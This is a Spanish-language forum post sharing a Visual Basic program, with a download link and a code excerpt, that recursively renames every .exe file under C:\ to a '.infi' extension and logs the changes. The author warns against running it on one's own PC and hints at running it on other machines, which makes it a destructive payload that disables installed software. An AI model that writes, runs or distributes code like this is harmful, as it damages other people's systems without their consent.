Renombrar ficheros

[Pasqui]

Para ver este enlace Registrate o Inicia Sesion

DESCARGAR

bueno, aquí­ os dejo una pequeña aplicación que hice, hace ya algún tiempo, la verdad que tienen que andar con cuidado pues el programita en cuestión, lo que nos hace es renombrar todos los ficheros que encuentra en todos los directorios hasta un 2º nivel, o sea,
c:\archivos de programa\ *.*
c:\archivos de programa\loquesea\*.*

este está para renombrar todos los *.exe por *.infi, pero si hay alguna petición se puede cambiar para cualquier extensión,

insisto, !! ojo con ejecutarlo en nuestro pc!!, además si lo hacemos en algún pc, el programa nos guarda un registro de los ficheros renombrados, en el mismo directorio donde se ejecute la aplicación con el nombre

winfiche.txt

para poder remediar lo hecho,


PARTE DEL CODIGO

Código:

On Error Resume Next
For i = 0 To Dir1.ListCount
    Dir1.ListIndex = diractual - 1
    Dir1.Path = Dir1.List(diractual)
    File1.Path = Dir1.Path
    actual = Dir1.Path
    For c = 1 To File1.ListCount - 1
        File1.ListIndex = c
        If Right(File1.FileName, 3) = "exe" Or Right(File1.FileName, 3) = "EXE" Then
            'If File1.FileName = "iexplore.exe" Then
                        'AQUI CAMBIAMOS LA EXTENSION
                            fichero = Dir1.Path & "\" & File1.FileName
                            tnum = Len(fichero)
                            punto = InStr(fichero, ".")
                            fsinexte = Mid(fichero, 1, punto - 1) '& "," & Mid(fichero, punto + 1, tnum)
                            tiempo = Right(Time, 2)
                            fsinexte = fsinexte & tiempo & "." & "infi"
                            fsinexte = fsinexte & "." & "infi"
                            Name fichero As fsinexte
                        'AQUI CAMBIAMOS LA EXTENSION
                        Open nomfich For Append As #1
                        Print #1, fichero
                        Close #1
            'End If
            Open nomfich For Append As #1
            Print #1, fichero
            Close #1
        'ElseIf Right(File1.FileName, 3) = "bmp" Or Right(File1.FileName, 3) = "BMP" Then
        '    Open nomfich For Append As #1
        '    Print #1, fichero
        '    Close #1
        End If
     Next
    buscasub
    diractual = diractual + 1
    Dir1.Path = "C:\"
Next

saludos,